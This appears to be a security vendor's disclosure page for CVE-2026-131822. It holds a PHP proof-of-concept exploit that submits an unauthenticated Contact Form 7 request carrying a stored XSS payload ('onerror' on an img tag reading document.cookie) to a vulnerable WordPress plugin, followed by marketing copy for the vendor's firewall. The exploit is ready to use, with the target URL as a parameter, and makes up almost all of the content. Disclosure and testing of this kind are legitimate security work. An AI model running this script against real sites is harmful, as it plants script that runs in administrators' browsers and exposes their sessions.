// CVE-2026-131822 - Contact Form to Any API <= 3.0.7 - Unauthenticated Stored XSS via CF7 Form Field Submissions

$target_url   = 'http://127.0.0.1';   // change to target WordPress base URL
$cf7_form_id  = 1;                    // Contact Form 7 form ID (enumerate via shortcode/embedded page)
$payload      = '<img src=x onerror="alert(document.cookie)">';

// Step 1: Fetch the CF7 feedback endpoint and prepare an anonymous submission.
$endpoint = rtrim($target_url, '/') . '/wp-json/contact-form-7/v1/contact-forms/' . (int) $cf7_form_id . '/feedback';

// Typical CF7 field names. A real form may use _wpcf7, _wpcf7_version, _wpcf7_locale, _wpcf7_unit_tag,
// _wpcf7_container_post, or _wpcf7_submit to satisfy CF7's submission validation. We include common
// values so CF7 accepts the request. Adjust field names if the target form differs.
$post_fields = array(
    '_wpcf7'                => (string) $cf7_form_id,
    '_wpcf7_version'        => '5.8',
    '_wpcf7_locale'         => 'en_US',
    '_wpcf7_unit_tag'       => 'wpcf7-f' . (int) $cf7_form_id . '-p1-o1',
    '_wpcf7_container_post' => '0',
    '_wpcf7_submit'         => '1',
    // The vulnerable sink: any CF7 field over which an attacker has control. 'your-message' is
    // the default CF7 textarea name; the plugin stores whatever the submission includes.
    'your-name'             => 'Atomic Edge',
    'your-email'            => 'attacker@example.com',
    'your-message'          => $payload,
);

// Step 2: POST the submission to Contact Form 7's public feedback REST endpoint (permission_callback __return_true).
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
$response = curl_exec($ch);
$status   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err      = curl_error($ch);
curl_close($ch);

echo "[+] Target: {$endpoint}n";
echo "[+] HTTP status: {$status}n";
if ($err) {
    echo "[!] cURL error: {$err}n";
}
if ($response !== false) {
    echo "[+] Response body (truncated): " . substr($response, 0, 500) . "n";
}

// Step 3: Verification. The payload is now persisted in the plugin's entries table
// (wp_cf7_to_any_api_entries). To confirm exploitation, log in as an administrator
// and visit:
//   {$target_url}/wp-admin/admin.php?page=cf7anyapi_entries&post_type=cf7_to_any_api
// The 'onerror' handler will fire when the DataTables entries view renders the value.
// Note: The plugin must have entries storage enabled and the target form must be
// registered. No authentication is required for Step 2.

echo "[i] If CF7 responded 200 with a valid feedback response, the payload is stored.n";
echo "[i] Verify by viewing the entries page as an administrator.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.